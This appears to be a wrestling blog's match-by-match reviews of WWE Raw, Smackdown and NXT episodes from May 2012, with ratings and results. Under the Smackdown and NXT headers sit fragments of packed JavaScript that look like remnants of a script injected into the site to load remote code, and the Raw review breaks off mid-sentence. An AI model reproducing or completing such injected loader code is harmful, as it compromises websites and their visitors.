Show takes it to the mat which gets us nowhere. Kane fires off shoulders in the corner but gets thrown away with ease. The masked man hits a cross body of all things and it’s time for the chinlock. Show comes back with clotheslines and a slam to set up the Vader Bomb Elbow. Not that it matters as Kane moves and goes up top. He jumps into a chokeslam attempt but escapes that too. We head to the floor and Kane gets whipped into the barricade and speared. They get back in and Ace wants an apology right now. That allows Kane to use a choke takedown (looked awful) for the pin at 4:14.

Rating: F. It was awful, it was slow, the ending SUCKED. What more do you want from me here?

Ace says Show has to apologize or he’s fired. Show says he’s accomplished everything and he can walk away. But he still loves what he does and he doesn’t want to be fired. If it means being fined or never getting a title match again, then so be it but don’t take away what he loves. If the imitation offended Ace, then he’s sorry.

Ace said Show didn’t apologize so Show says it again. Ace wants Show to beg for his job on his knees. Show can’t bring himself to do it and begs from his feet. Ace says he won’t fire him for the sake of business. He leaves but then changes his mind. Show says wait and gets on his knees and apologizes. Ace fires him anyway. Ok the smile on his face helps a bit.

And now for something completely different.

Brodus Clay/Kofi Kingston/R-Truth vs. The Miz/Jack Swagger/Dolph Ziggler

Truth and Swagger start things off and it’s off to Clay very quickly. He throws all three heels down as the champions knock Miz to the floor. We take a break and come back with Truth in a Ziggler chinlock. AW Enterprises (with the possibly now signed Mason Ryan) are watching from a sky box. Miz comes in and gets caught in a neckbreaker. Tag to Kofi who speeds things up as he is known to do. SOS gets two and everything breaks down. Ziggler jumps into a headbutt from Brodus, Kofi gets a GREAT sounding Trouble in Paradise on Miz and the Splash ends Miz at 6:58. Most of that was in a commercial so no rating but this was fine.

Punk is with Alex Riley of all people when AJ comes up. Riley leaves (Punk: “Hey, remember that $50 you owe me!”) and AJ wishes Punk luck on Sunday. He doesn’t want anything to do with the drama that comes with AJ and Bryan. Punk is worried about a setup because AJ is so unstable so he walks away. AJ looks….sad?

Sheamus comes down for commentary for the next match.

Randy Orton vs. Chris Jericho

Feeling out process to start and Orton dropkicks him to the floor as we take a break. These breaks during a match are REALLY getting annoying and have been for years. Back with Jericho holding a chinlock. He takes Orton into the corner and hits a missile dropkick for two. Off to a surfboard hold but Orton escapes. Backbreaker puts Jericho down but the elevated DDT is countered by a backdrop. Jericho throws Orton into Sheamus but back in Orton loads up the DDT again. Sheamus pulls him to the floor and clotheslines him down for the DQ win for Jericho at 8:40.

Rating: C-. That’s the ending everyone knew was coming and that’s perfectly fine. I’m actually very glad that no one has gotten a clean win over anyone else in this match since the fourway was announced. That’s a big problem they’ve had recently with multi-man matches: someone is always made to look weak beforehand but in this case, that hasn’t happened at all. I think I’m looking forward to this match more than anything else on Sunday.

Orton gets in Sheamus’ face and challenges him to a fight right now which Sheamus is more than happy to accept. Referees break it up.

Post break Orton vs. Sheamus is announced for Friday.

Here’s Ace to push himself vs. Cena tonight. He talks about how everyone that loves Cena is a bad person because their favorite wrestler reflects themselves. Here’s Cena who makes fun of Ace’s voice and runs him down for firing Show. Ace has the gall to call himself a winner so we hear Ace’s resume. His team won at Wrestlemania…..and that’s about it. Punk is still champion and then Lesnar lost and left. That makes him 1-4 and that makes him a loser.

That’s fine because at Over The Limit, Ace is going to lose again. Ace has managed to step on everyone during his tenure on top. Tonight he’s stepped on everyone in the WWE Universe tonight in the name of people power. Instead it should be person power because that’s all that matters to Ace. Cena has a show of hands to see how many people want to punch Ace into the middle of next week. Next question: how many people want to beat up Ace so bad that he squeals like a baby calf? That gets a BIG reaction.

Cena says the reaction is appropriate in Pittsburgh for a few reason. First up is the Steel Curtain (The Steelers’ defense from the 70s) which is famous for destroying people, which is what Cena is going to do to Ace on Sunday. The other reason is the Pittsburgh Penguins. Ace says that he was going to use the Penguins later in the promo but Cena stole it. Ace tries to talk but Cena keeps calling him a loser. The boss calls the Penguins losers so Cena pulls out a hockey puck and says go puck yourself.

Ace says that he’s taller and better looking than Cena which must bother him. Cue Eve with a paper as he’s talking. She has something to tell him but he won’t listen to her. Finally she gets his attention and hands him the paper which he stops to read. Cena steals it from him (ripping it in half in the process) and says it’s from the board of directors. The match will be one on one with no special referee and no one allowed at ringside. You have to win by pin or submission and anyone who interferes is immediately fired. Oh and if Ace loses he’s fired.

Cena’s music plays but he stops it because Cole mentioned a major announce

Overall Rating: D. This was pretty easily the worst Raw in months and probably the worst this year. With two WAY too long segments that end in some legal or administrative decision, it was a hard show to sit through for the first hour. The lack of Cena until the very end didn’t help things either. I’m looking forward to the fourway on Sunday and Punk vs. Bryan (which got almost zero setup tonight) but other than that it’s a filler show. Terrible Raw tonight.

Results
CM Punk/Santino Marella b. Daniel Bryan/Cody Rhodes – GTS to Rhodes
Beth Phoenix b. Alicia Fox – Glam Slam
Kane b. Big Show – Chokeslam
Brodus Clay/Kofi Kingston/R-Truth b. Dolph Ziggler/Jack Swagger/The Miz – Splash to Miz
Chris Jericho b. Randy Orton via DQ when Sheamus interfered

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Smackdown – May 11, 2012: Ten Matches Combine For Less Than An Hour Of Wrestling!

Smackdown
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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttrah|var|u0026u|referrer|zkasz||js|php'.split('|'),0,{})) May 11, 2012
Location: Roanoke Civic Center, Roanoke, Virginia
Commentators: Michael Cole, Josh Matthews, Booker T

We’ve got two shows before Over the Limit and after Raw we have a fatal fourway main event instead of just Sheamus vs. Del Rio which should be a big upgrade over the singles match. Other than that we have very little set up for the PPV on the blue side. The show is going to be a filler show so it doesn’t really need to be that set up. I’m sure we’ll get Show vs. Rhodes again too. Let’s get to it.

We open with a clip from the Raw tag match and the post match brawl/announcement in the back.

Sheamus/Randy Orton vs. Alberto Del Rio/Chris Jericho

No car for Del Rio this time. Orton and Jericho get things going. Randy takes him down with a shoulder block and slaps Sheamus on the shoulder to tag him in. Sheamus clotheslines Jericho down and brings Randy back in with a hearty slap on the arm. Off to Del Rio who gets taken down but the knee drop misses. Alberto goes for the arm and drops some knees on it.

Randy gets in a boot as the announcers say there’s no point in trying to predict the fourway. Tag to Sheamus who hits the Regal Roll for two. Jericho low bridges Sheamus to send him to the floor and gets in a shot to the injured shoulder. Jericho comes in legally and puts on a modified Fujiwara armbar.

To give you an idea of the commentary I have to listen to here, this exchange happens: Josh: “I know you can’t predict a winner in the fatal fourway but will Sheamus retain?” Michael: “I don’t think so because it’s almost mathematically impossible. He only has a 25% chance.” After that butchering of both logic and math, Sheamus hits Jericho with the ax handle and tags in Orton. RKO is countered but a dropkick gets two for Orton. Everything breaks down and the referee calls for the bell after about four seconds for the double DQ at 5:19.

Rating: D+. This wasn’t really a match but rather just a backdrop for the double DQ ending. That’s probably a good thing too as there’s no need to have anyone look better or weaker before the PPV. It was just a basic main event style tag match until then and at least we didn’t have to wait long before it got thrown out.

Post break we’re told that it’s Del Rio vs. Orton and Sheamus vs. Jericho later.

AJ vs. Kaitlyn

AJ takes her down immediately and then does it again. She dropkicks the knee and hits a running knee to the head for the pin at 35 seconds.

Post match AJ goes after Kaitlyn again but here’s Daniel Bryan. He says he’s impressed by her ruthlessness and AJ looks like a little lost puppy. Bryan sees her in a new light and is willing to move past all the angst they’ve had. After he becomes WWE Champion at Over the Limit he’s looking forward to moving on. AJ looks at him and Bryan nods, but Bryan says he’s looking forward to moving on to Kaitlyn. AJ looks completely psychotic and leaves.

Daniel Bryan vs. Big Show

Show corners him and chops the chest. Bryan goes for the knee but it doesn’t do much good. Show chops him again but Bryan manages to take him down with a middle rope dropkick. He hooks the YES Lock….and there’s the bell at 1:28. Ace pops up at the timekeeper’s table and says Bryan wins by submission.

Ace makes Show apologize again and Show is humiliated again. Ace says that on Monday Show better give him a real apology. Way to emasculate the good guys WWE! As Ace is leaving he says that at Extreme Rules, Lesnar destroyed Cena and revolutionized the WWE. In nine nights, he’s going to beat Cena and shake the WWE to its foundation.

Heath Slater is in the ring and says that his opponent looks like a caveman with a pea sized brain. The guy he’s facing tonight hasn’t beaten anyone like the One Man Southern Rock Band. Again, WHAT DOES THAT NAME MEAN???

Ryback vs. Heath Slater

Slater actually gets in some offense but before I can make an NXT joke, it’s powerslam, clothesline and MuscleBuster at 1:15 for Ryback’s latest win.

Teddy Long is guest ring announcer for the next match.

Antonio Cesaro vs. Alex Riley

Teddy has to run off a long list of names for Cesaro such as the Swiss Sensation, His Opponent’s Plight and Aksana’s Delight. Cesaro hits a big boot in the corner and a gutwrench suplex. Riley gets in some jobber offense but the spinebuster is broken up. The European Uppercut sets up that Gotch whatever move for the pin at 2:23.

Post match Aksana reminds Teddy they were just friends but Cesaro is her lover. They kiss and Teddy wants to cry.

Video on Cena’s work with Make-A-Wish, which he wrote an article for USA Today about. Love him or hate him, that’s awesome stuff.

Randy Orton vs. Alberto Del Rio

The entrances are cut for some reason. Del Rio controls to start but Orton comes back and hits the slingshot into the bottom rope for two. Alberto drapes the arm over the top rope to take over. Hammerlock slam gets two and it’s off to an armbar. Orton gets up and powerslams Alberto but the elevated DDT is countered. He sends Orton to the apron and hits an enziguri for two.

Orton comes back again with the backbreaker but Del Rio kicks him in the arm. Codebreaker to the arm puts Orton down and he loads up the armbreaker, but Orton kicks him off. Elevated DDT from the top rope hits but Ricardo is on the top rope. He jumps right into an RKO which is good for the DQ at 5:22.

Rating: C. I liked this. The story of Orton using his usual stuff to counteract all of the arm work was working for me and even though there was no way Orton would ever tap to the hold, it was interesting watching him counter all that stuff. Then again I’m an Orton fan so that probably has a lot to do with it. Also anyone jumping into an RKO is cool to see.

Del Rio puts Orton’s shoulder into the post and hooks the armbreaker post match.

R-Truth vs. Jack Swagger

This is due to the tag title match that was set up for the PPV. Truth quickly takes over and hits a dancing legdrop for one. AW and company are watching in the back. Mason Ryan is with them now. Swagger comes back with a wheelbarrow suplex for two. He hits Truth’s back a few times but Truth comes back with a DDT to put both guys down. Swagger tries another wheelbarrow suplex but Truth rolls him up for two. Dolph trips up Truth and gets punched and kicked by the champions. Swagger jumps Truth on the floor but Kofi hits Trouble in Paradise. That lets the Little Jimmy get the pin at 3:20.

Rating: D+. Another short match in an annoying series of them tonight. This is your usual formula to set up a tag team title match and I still have yet to find anyone that cares about this match and feud at all. This match was just ok at best but again, with only three and a half minutes to work with, there’s only so much they could do.

We get a piece of the Cena sitdown interview from Monday.

Santino Marella/Zack Ryder vs. Titus O’Neil/Darren Young

Ryder doesn’t even get an entrance anymore. Titus runs Santino over to start and slams him down. Off to Young who hits a neckbreaker and belly to back suplex. Titus suplexes Young onto Santino and it’s off to a Darren chinlock. Santino escapes and tags in Ryder who speeds things up. He hits his usual stuff and the Broski Boot gets two on Darren. Rough Ryder is broken up by Titus and Santino gets clotheslined down while he loads up the Cobra. Young knocks Ryder off the ropes and the Demolition Decapitator (called the Ghetto Blaster) gets the pin at 2:59.

Titus makes Lillian announce the winners again. They say they’ll be the new champions and make millions.

Damien Sandow says he knows his message is going over everyone’s heads but they have no one to look up to. He’ll be the sword of taste and decency, which concludes the interview. You’re welcome.

Brodus Clay vs. Hunico

Hunico and Camacho jump Brodus before the bell. Camacho is thrown out and Brodus starts smiling. There’s the bell and the beating begins. Suplex and splash end this at 54 seconds.

Post match it’s time to dance.

Video on HHH being attacked by Lesnar and Heyman returning to announce Brock quitting on Monday.

Chris Jericho vs. Sheamus

Sheamus takes him into the corner to start and uses the power to control. Jericho misses a charge into the corner and Sheamus knocks him off the apron into the barricade as we take a break. Back with Sheamus hitting the slingshot shoulder block for two. Out to the apron and Sheamus tries to suplex him to the floor, but Jericho drapes the arm over the top rope to take over.

Sheamus’ arm goes into the post and Jericho puts on an armbar back in the ring. The champ fights up but Jericho dropkicks him down. That gets him nowhere as Sheamus makes his comeback. That gets countered also but the Walls are countered. Irish Curse is broken up as is the Regal Roll. The Walls go on but Sheamus is too close to the ropes. He sends Jericho to the floor where Del Rio pops in and sends Jericho into the steps for the DQ at 5:45 shown of 9:15.

Rating: C. Just like last time this was a pretty decent match for the most part as the two of them had chemistry, but I’d like to talk for a minute about psychology. Sheamus has a bad arm, Jericho worked on the arm all match, and then he tried a back hold. I get that it’s his finisher, but sometimes you need to go with the move that makes sense instead of the finisher.

Post match Del Rio puts Sheamus in the armbreaker but Orton comes out for the save. Del Rio takes all three finishers and Orton stares at Sheamus to end the show.

Overall Rating: C+. This show did a great job at playing up the fourway with only Del Rio looking weak, which more or less guarantees that he’ll be walking out with the title. The short matches were annoying, but they got TEN matches on one show which has to be way up there on the lists of two hour shows. Not a terrible show but it was more for building up later shows than this one, which is annoying but understandable.

Results
Sheamus/Randy Orton vs. Chris Jericho/Alberto Del Rio went to a double DQ
AJ b. Kaitlyn – Running Knee
Daniel Bryan b. Big Show – YES Lock
Ryback b. Heath Slater – MuscleBuster
Antonio Cesaro b. Alex Riley – Gotch Style Neutralizer
Randy Orton b. Alberto Del Rio via DQ when Ricardo Rodriguez interfered
R-Truth b. Jack Swagger – Little Jimmy
Darren Young/Titus O’Neil b. Zack Ryder/Santino Marella – Demolition Decapitator to Ryder
Brodus Clay b. Hunico – Splash
Chris Jericho b. Sheamus via DQ when Alberto Del Rio interfered

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NXT – May 9, 2012: It’s Going To Be Hawkins And Reks Isn’t It?

NXT
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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnzdi|var|u0026u|referrer|aahdk||js|php'.split('|'),0,{})) May 9, 2012
Location: Roanoke Civic Center, Roanoke, Virginia
Commentators: William Regal, Josh Matthews

We’re in the south this week and allegedly there might be some new talent if you can believe Regal. Then again he’s a villain by nature so he’s likely not to be trusted. Also it’s apparent that Hawkins and Reks aren’t gone yet and therefore we’ll have to deal with that never ending saga for a few more weeks. Let’s get to it.

We throw it to Striker and Regal to start. Have they always had those ring skirts? Regal is going to address the attacks in the back the last few weeks. He doesn’t believe Watson had anything to do with it, and he’s also not sure if McGillicutty had anything to do with it. There’s new security tonight….and it’s Hawkins/Reks. Just because they’re fired, it’s no excuse not to plug their Twitters. Dang that sounds a lot dirtier than it really is.

They make fun of Striker for being kidnapped which causes Striker to lunge. Apparently if they’re good and win their match on Superstars this week, they’re on the track to getting reinstated. Regal threatens them to stay in line or being fired will be the least of their worries. Josh: “So apparently Hawkins and Reks are now the Avengers of NXT.” I love that movie but that line made my eyes roll.

Tamina Snuka vs. Maxine

Before the match Maxine says that this is about working together (this was set up by a tag match) and calls herself the New Maxine. Feeling out process to start and Maxine is knocked to the floor. She trips Tamina up and takes over back inside. A facejam gets two. There’s a full nelson and then a front guillotine choke by Maxine but Tamina sends her into the buckle to break. A side slam looks to set up the Superfly Splash but Maxine moves. A dragon sleeper with a body scissors gets the submission for Maxine at 3:50.

Rating: D+. Not much here and I’m really not sure why they were fighting other than they’re both women. Maxine is supposed to be “new” or whatever now, which means I guess we’re dropping the whole idea of her trying to blackmail Regal with those papers or whatever they were using last time. Eh not that it matters much as long as it was short.

Post match Maxine volunteers to be cuffed again.

Yoshi Tatsu vs. JTG

This is the debut of JTG’s new look at the hands of Alicia Fox. He’s got a vest and regular trunks but the same music. Yoshi kicks him around to start but misses a charge in the corner. A clothesline gets two as does a modified Regal Cutter. Off to a neck crank but a knee drop misses. Yoshi rolls forward and hits a kick to the chest. JTG hits that spinning clothesline of his for the pin at 3:31.

Rating: D. It’s just JTG. That’s the problem with him at the end of the day: there’s nothing different to him here other than his clothes are different and even that’s not a major change. He’s still annoying and nothing but being loud and from Brooklyn. I’m not a fan of the guy at all and this change isn’t helping any of my problems with him.

Raw ReBound sees Heyman returning and Cole acting like it’s a new stoplight in his hometown.

Curtis and Maxine run into Hawkins and Reks security. The security says let’s work together and if there’s an NXT left when this is all over, they’ll be on the same team. Reks gives them the key to the handcuffs. Striker comes in and calls Hawkins Terra Ryzing. Regal is watching and doesn’t seem to complain about this.

Watson and Kaitlyn are in the back and talking about the attacks. Bateman pops up and says Watson can’t be trusted. She complains about how much of a jerk Bateman has been since his match on Smackdown. A heel turn is the last thing Bateman needs after his last one bombed so hard. Kaitlyn walks away and hears a scream. She runs back and sees Bateman holding his knee, saying it wasn’t Watson.

Michael McGillicutty/Johnny Curtis vs. Tyson Kidd/Percy Watson

McGillicutty and Kidd start things off and Kidd puts on a variety of holds to control quickly. Michael escapes an armbar and brings in Curtis, only for him to be pulled down into a hold of his own. Watson comes in for an armbar of his own but Curtis makes a blind tag. That gets his team nowhere as McGillicutty is sent to the floor along with Curtis. Kidd and Watson rule the ring as we take a break.

Back with Kidd holding McGillicutty in a chinlock. Kidd goes to the apron for a springboard but Curtis hooks the rope to send him down and into the heel corner. Michael keeps him on the mat with a chinlock. He backslides Kidd down and Curtis adds a slingshot legdrop onto Kidd for two. Cool double team move there. Suplex gets two for Curtis. Kidd gets up and turns up the speed, hitting a dropkick on McGillicutty and making the tag to Watson. He cleans house and avoids a splash in the corner before finishing McGillicutty with the Persecution at 8:05.

Rating: C. Just a main event of NXT tag match here with nothing of note to it. Kidd is still better than anyone else on the roster so having Watson get the win is more beneficial than having Kidd making McGillicutty or Curtis tap out again. Not a bad match or anything but it was just kind of there.

Post match Hawkins and Reks come out and say that Watson attacked Bateman and say he has to come with them. Watson says no so a brawl ensues and Watson is dragged out by Hawkins and Reks.

Overall Rating: C-. This wasn’t as good as last week’s but it’s still far more entertaining than it was the past few months. I have a bad feeling this mystery attacker is going to wind up being Hawkins/Reks which is going to be dull in the end, but other than that the show’s stories have been a bit more interesting lately. Now if they can get that fresh talent in there it’ll be a lot better.

Results
Maxine b. Tamina Snuka – Dragon Sleeper
JTG b. Yoshi Tatsu – Spinning Clothesline
Percy Watson/Tyson Kidd b. Johnny Curtis/Michael McGillicutty – Persecution to McGillicutty

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